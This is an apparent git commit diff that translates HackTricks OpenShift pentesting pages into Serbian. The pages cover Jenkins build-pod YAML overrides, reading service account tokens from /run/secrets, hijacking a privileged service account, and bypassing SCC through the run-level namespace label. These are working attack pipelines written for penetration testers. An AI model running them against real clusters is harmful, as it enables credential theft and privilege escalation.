mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-02 02:54:53 -07:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,23 +1,19 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Osnovne Informacije
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Ograničenja Bezbednosnog Konteksta
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Eskalacija Privilegija
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Osnovne informacije
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes prethodno b**azično znanje** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Pre nego što počnete sa radom na OpenShift-u, uverite se da ste upoznati sa Kubernetes okruženjem. Ceo OpenShift deo pretpostavlja da imate prethodno znanje o Kubernetes-u.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Osnovne informacije
|
||||
|
||||
### Introduction
|
||||
### Uvod
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift je platforma za aplikacije u kontejnerima kompanije Red Hat koja nudi superset Kubernetes funkcionalnosti. OpenShift ima strože bezbednosne politike. Na primer, zabranjeno je pokretanje kontejnera kao root. Takođe nudi opciju koja je po defaultu sigurna kako bi poboljšala bezbednost. OpenShift ima web konzolu koja uključuje stranicu za prijavu na jedan dodir.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift dolazi sa svojim CLI-jem, koji se može pronaći ovde:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Da biste se prijavili koristeći CLI:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
### **OpenShift - Ograničenja konteksta bezbednosti** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
Pored [RBAC resursa](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) koji kontrolišu šta korisnik može da radi, OpenShift Container Platform pruža _ograničenja konteksta bezbednosti_ (SCC) koja kontrolišu akcije koje pod može da izvrši i šta ima mogućnost da pristupi.
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC je objekat politike koji ima posebna pravila koja odgovaraju samoj infrastrukturi, za razliku od RBAC-a koji ima pravila koja odgovaraju Platformi. Pomaže nam da definišemo koje Linux funkcije kontrole pristupa kontejner treba da može da zahteva/izvrši. Primer: Linux sposobnosti, SECCOMP profili, Montiranje lokalnih direktorijuma, itd.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Originalni autor ove stranice je** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Ova stranica daje nekoliko smernica o tome kako možete napasti Jenkins instancu koja radi u Openshift (ili Kubernetes) klasteru.
|
||||
|
||||
## Disclaimer
|
||||
## Odricanje od odgovornosti
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Jenkins instanca može biti postavljena u Openshift ili Kubernetes klasteru. U zavisnosti od vašeg konteksta, možda ćete morati da prilagodite bilo koji prikazani payload, yaml ili tehniku. Za više informacija o napadu na Jenkins možete pogledati [ovu stranicu](../../../pentesting-ci-cd/jenkins-security/)
|
||||
|
||||
## Prerequisites
|
||||
## Preduslovi
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Korisnički pristup u Jenkins instanci ILI 1b. Korisnički pristup sa dozvolom za pisanje na SCM repozitorijum gde se automatska izgradnja pokreće nakon push/merge.
|
||||
|
||||
## How it works
|
||||
## Kako to funkcioniše
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Fundamentalno, gotovo sve iza kulisa funkcioniše isto kao i redovna Jenkins instanca koja radi u VM-u. Glavna razlika je u ukupnoj arhitekturi i načinu na koji se izgradnje upravljaju unutar Openshift (ili Kubernetes) klastera.
|
||||
|
||||
### Builds
|
||||
### Izgradnje
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Kada se izgradnja pokrene, prvo njome upravlja/orchestrira Jenkins master čvor, a zatim se delegira agentu/slavi/radniku. U ovom kontekstu, master čvor je samo redovni pod koji radi u namespace-u (koji može biti različit od onog gde radnici rade). Isto važi i za radnike/slave, međutim oni se uništavaju kada se izgradnja završi, dok master uvek ostaje aktivan. Vaša izgradnja se obično pokreće unutar poda, koristeći pod šablon koji su definisali Jenkins administratori.
|
||||
|
||||
### Triggering a build
|
||||
### Pokretanje izgradnje
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Imate više glavnih načina za pokretanje izgradnje, kao što su:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Imate UI pristup Jenkins-u
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
Veoma lak i praktičan način je korišćenje Replay funkcionalnosti postojeće izgradnje. Omogućava vam da ponovo pokrenete prethodno izvršenu izgradnju dok vam omogućava da ažurirate groovy skriptu. Ovo zahteva privilegije na Jenkins folderu i unapred definisanu pipeline. Ako trebate biti diskretni, možete obrisati svoje pokrenute izgradnje ako imate dovoljno dozvola.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Imate pristup za pisanje na SCM i automatske izgradnje su konfigurirane putem webhook-a
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Možete jednostavno urediti skriptu za izgradnju (kao što je Jenkinsfile), commit-ovati i push-ovati (eventualno kreirati PR ako se izgradnje pokreću samo na PR merge-ima). Imajte na umu da je ovaj put veoma bučan i zahteva povišene privilegije da biste očistili svoje tragove.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+217
-235
@@ -1,278 +1,260 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
# Jenkins u Openshift-u - preklapanje build pod-a
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Originalni autor ove stranice je** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Kubernetes plugin za Jenkins
|
||||
Ovaj plugin je uglavnom odgovoran za osnovne funkcije Jenkinsa unutar openshift/kubernetes klastera. Zvanična dokumentacija [ovde](https://plugins.jenkins.io/kubernetes/)
|
||||
Nudi nekoliko funkcionalnosti kao što je mogućnost za programere da preklapaju neke podrazumevane konfiguracije jenkins build pod-a.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Osnovna funkcionalnost
|
||||
|
||||
Ovaj plugin omogućava fleksibilnost programerima prilikom izgradnje njihovog koda u adekvatnom okruženju.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Neka zloupotreba korišćenjem pod yaml override
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
Međutim, može se zloupotrebiti da se koristi bilo koja dostupna slika kao što je Kali Linux i izvrši proizvoljne komande koristeći unapred instalirane alate iz te slike.
|
||||
U sledećem primeru možemo eksfiltrirati token serviceaccount-a pokrenutog poda.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
Drugačija sintaksa za postizanje istog cilja.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Primer za prepisivanje imena prostora pod-a
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
Još jedan primer koji pokušava da montira serviceaccount (koji može imati više dozvola od podrazumevanog, koji pokreće vašu izgradnju) na osnovu njegovog imena. Možda ćete morati da pogodite ili enumerišete postojeće serviceaccounts prvo.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Ista tehnika se primenjuje za pokušaj montiranja Sekreta. Krajnji cilj ovde bi bio da se otkrije kako da konfigurišete svoj pod build da efikasno pivotira ili dobije privilegije.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Idemo dalje
|
||||
|
||||
## Going further
|
||||
Kada se naviknete da se igrate s tim, iskoristite svoje znanje o Jenkinsu i Kubernetesu/Openshiftu da pronađete loše konfiguracije / zloupotrebe.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Postavite sebi sledeća pitanja:
|
||||
|
||||
Ask yourself the following questions:
|
||||
- Koji servisni nalog se koristi za implementaciju build podova?
|
||||
- Koje uloge i dozvole ima? Da li može da čita sekrete imenskog prostora u kojem se trenutno nalazim?
|
||||
- Mogu li dalje da enumerišem druge build podove?
|
||||
- Sa kompromitovanim sa, mogu li da izvršavam komande na master čvoru/podu?
|
||||
- Mogu li dalje da enumerišem klaster da pivotiram negde drugde?
|
||||
- Koji SCC je primenjen?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Možete saznati koje oc/kubectl komande da izdate [ovde](../openshift-basic-information.md) i [ovde](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Mogući privesc/pivoting scenariji
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Pretpostavimo da ste tokom vaše procene otkrili da se svi jenkins buildovi izvršavaju unutar imenskog prostora pod nazivom _worker-ns_. Utvrdili ste da je podrazumevajući servisni nalog pod nazivom _default-sa_ montiran na build podovima, međutim, nema mnogo dozvola osim pristupa za čitanje na nekim resursima, ali ste uspeli da identifikujete postojeći servisni nalog pod nazivom _master-sa_.
|
||||
Takođe pretpostavimo da imate instaliranu oc komandu unutar pokrenutog build kontejnera.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Sa sledećim build skriptom možete preuzeti kontrolu nad _master-sa_ servisnim nalogom i dalje enumerisati.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
U zavisnosti od vašeg pristupa, ili treba da nastavite svoj napad iz skripte za izgradnju ili se možete direktno prijaviti kao ovaj sa na aktivnom klasteru:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
Ako ovaj sa ima dovoljno dozvola (kao što je pod/exec), takođe možete preuzeti kontrolu nad celom jenkins instancom izvršavanjem komandi unutar pod-a master čvora, ako se pokreće unutar istog imenskog prostora. Ovaj pod možete lako identifikovati putem njegovog imena i činjenice da mora montirati PVC (persistant volume claim) koji se koristi za čuvanje jenkins podataka.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
U slučaju da master node pod ne radi unutar iste namespace kao radnici, možete pokušati slične napade ciljanjem master namespace. Pretpostavimo da se zove _jenkins-master_. Imajte na umu da serviceAccount master-sa treba da postoji u _jenkins-master_ namespace (i možda ne postoji u _worker-ns_ namespace)
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
# OpenShift - Eskalacija privilegija
|
||||
|
||||
## Missing Service Account
|
||||
## Nedostajući servisni nalog
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## SCC zaobilaženje
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+8
-12
@@ -1,27 +1,23 @@
|
||||
# OpenShift - Missing Service Account
|
||||
# OpenShift - Nedostajući servisni nalog
|
||||
|
||||
## Missing Service Account
|
||||
## Nedostajući servisni nalog
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Dešava se da je klaster postavljen sa unapred konfigurisanom šablonom koja automatski postavlja Uloge, RoleBindings i čak SCC na servisni nalog koji još nije kreiran. To može dovesti do eskalacije privilegija u slučaju da ih možete kreirati. U ovom slučaju, mogli biste dobiti token novokreiranog SA i ulogu ili SCC povezanu s njim. Ista situacija se dešava kada je nedostajući SA deo nedostajućeg projekta; u ovom slučaju, ako možete kreirati projekat, a zatim i SA, dobijate Uloge i SCC povezane s njim.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
Na prethodnom grafikonu imamo više AbsentProject, što znači više projekata koji se pojavljuju u Role Bindings ili SCC, ali još nisu kreirani u klasteru. U istom kontekstu imamo i AbsentServiceAccount.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
Ako možemo kreirati projekat i nedostajući SA u njemu, SA će naslediti Ulogu ili SCC koji su ciljali na AbsentServiceAccount. Što može dovesti do eskalacije privilegija.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
Sledeći primer prikazuje nedostajući SA kojem je dodeljen node-exporter SCC:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
## Alati
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
Sledeći alat može se koristiti za enumeraciju ovog problema i općenitije za grafičko prikazivanje OpenShift klastera:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+53
-69
@@ -4,7 +4,7 @@
|
||||
|
||||
## Privileged Namespaces
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Podrazumevano, SCC se ne primenjuje na sledeće projekte:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Ako implementirate podove unutar jednog od ovih prostora imena, nijedna SCC neće biti primenjena, što omogućava implementaciju privilegovanih podova ili montiranje datotečnog sistema domaćina.
|
||||
|
||||
## Namespace Label
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Postoji način da se onemogući primena SCC na vašem podu prema RedHat dokumentaciji. Moraćete da imate najmanje jednu od sledećih dozvola:
|
||||
|
||||
- Kreirajte Namespace i kreirajte Pod u ovom Namespace-u
|
||||
- Uredite Namespace i kreirajte Pod u ovom Namespace-u
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
Specifična oznaka `openshift.io/run-level` omogućava korisnicima da zaobiđu SCC-e za aplikacije. Prema RedHat dokumentaciji, kada se ova oznaka koristi, nijedna SCC nije primenjena na sve podove unutar tog imenskog prostora, efikasno uklanjajući sve restrikcije.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Dodaj Oznaku
|
||||
|
||||
Da dodate oznaku u vašem imenskom prostoru:
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Da biste kreirali namespace sa oznakom putem YAML datoteke:
|
||||
```yaml
|
||||
